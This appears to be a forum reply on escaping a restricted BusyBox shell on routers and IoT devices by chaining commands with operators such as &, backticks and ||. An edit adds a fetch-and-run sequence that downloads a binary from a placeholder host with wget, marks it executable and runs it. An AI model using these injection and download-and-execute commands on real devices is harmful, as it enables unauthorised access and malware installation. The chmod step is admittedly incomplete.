Unfortunately for you, nowadays most embedded devices (i.e. routers, iot devices, etc..) try to prevent the users to access the inner system so they can't hack or modify it. This is a measure to prevent the work of botnets like mirai, though the protections are not always very effective.
A limited busybox shell is a very common scenario. Luckily, speaking in general, busybox requires an underlying shell if there's any kind of user interface (like telnet or ssh). This means that it may be possible to bypass that shell and run commands on the underlying shell (i.e. /bin/sh is very common).
Before trying to escape the busybox sandbox, you must have in account the following:
- The manufacturer may have modified the busybox shell to patch this techniques
- The underlying shell can be an (full or partial) unprivileged shell. This means that even if you manage to run commands on it, they may not work or tell you that you don't have enough rights.
- The underlying shell may be also another limited shell (not common)
Once you are ready, you can try the following "tricks":
(All of the rely on shell operators)
Try things like
echo "Hello World" & <your command>
This will execute your command if:
- The binary is available (so basically if it's installed in the system)
- The shell has access to it (privileges)
There are other methods like:
echo "Hello World" `your command`
echo "Hello World" || <your command>
And other variations you can find over the internet or try by yourself.
EDIT: I'm editing to add an example of how you could escape the shell and gain further execution.
echo "Hello World" & wget yourweb.com/yourbinary
echo "Hello World" & chmod yourbinary
echo "Hello World" & ./yourbinary
or directly ./yourbinary
That's the idea. As for the chmod sorry but I don't remember the exact arguments to give execution permissions.
EDIT2: I've noticed your shell says ash, so probably busybox has been executed from an (automated) script running from ash. In this case you would like to directly run commands on the /bin/ash shell.